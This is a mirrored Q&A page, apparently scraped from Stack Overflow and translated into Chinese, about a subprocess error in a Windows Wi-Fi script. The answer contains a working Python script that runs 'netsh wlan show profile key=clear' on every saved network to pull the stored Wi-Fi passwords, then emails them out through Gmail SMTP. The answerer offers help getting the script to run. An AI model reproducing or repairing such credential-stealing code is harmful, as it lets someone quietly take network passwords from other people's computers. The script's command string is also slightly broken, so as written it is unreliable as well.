【问题标题】:CalledProcessError for Subprocess.check_output for wlan in windowsWindows 中 wlan 的 Subprocess.check_output 的 CalledProcessError
【发布时间】:2020-12-05 16:41:59
【问题描述】:

我在 Subprocess.Check_output 模块中遇到了一个名为 CalledProcessError 的错误。谁能解决这个问题?

【问题讨论】:

  • 请贴出正在执行的代码和你打算运行的进程

标签: python subprocess


【解决方案1】:

您的程序正在返回一个非零状态,这意味着在处理命令期间发生了错误。您可能想在 subprocess.check_output 命令中添加一些参数来解决这个问题。

所以我做了一些更改,我仍在尝试让电子邮件传递发送主要工作。你能检查它是否适合你吗?

import subprocess, smtplib, re
import sys


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))


result = ""

for network_name in network_names_list:
    try:
        print(network_name)
        command = "netsh wlan show profile key=clear" + "".join(network_name)
        current_result = str(subprocess.check_output(command, shell=True))
        result = result + current_result
        send_mail("email", "pass", result)
    except subprocess.CalledProcessError as e:
        raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))

subprocess-check-output-returned-non-zero-exit-status

【讨论】:

  • command = "netsh wlan show profile" + "".join(network_name) + "key = clear" current_result = subprocess.check_output(command, shell = True) 你能修改一下吗? network_name 包含电脑上保存的网络。
  • 您能否发布您尝试执行的代码以及有关您工作环境的更多详细信息?
  • paste.ofcode.org/34Wa333bbFQmMNFezg3vCTm 这是代码兄弟。请通过此代码粘贴服务。我尝试了太多次但无法在stackoverflow中粘贴代码。
  • 在上面的帖子中查看我的编辑并检查它是否适合您
猜你喜欢
  • 1970-01-01
  • 2013-06-08
  • 1970-01-01
  • 1970-01-01
  • 2022-08-12
  • 2022-01-15
  • 1970-01-01
  • 2011-12-19
  • 1970-01-01
相关资源
最近更新 更多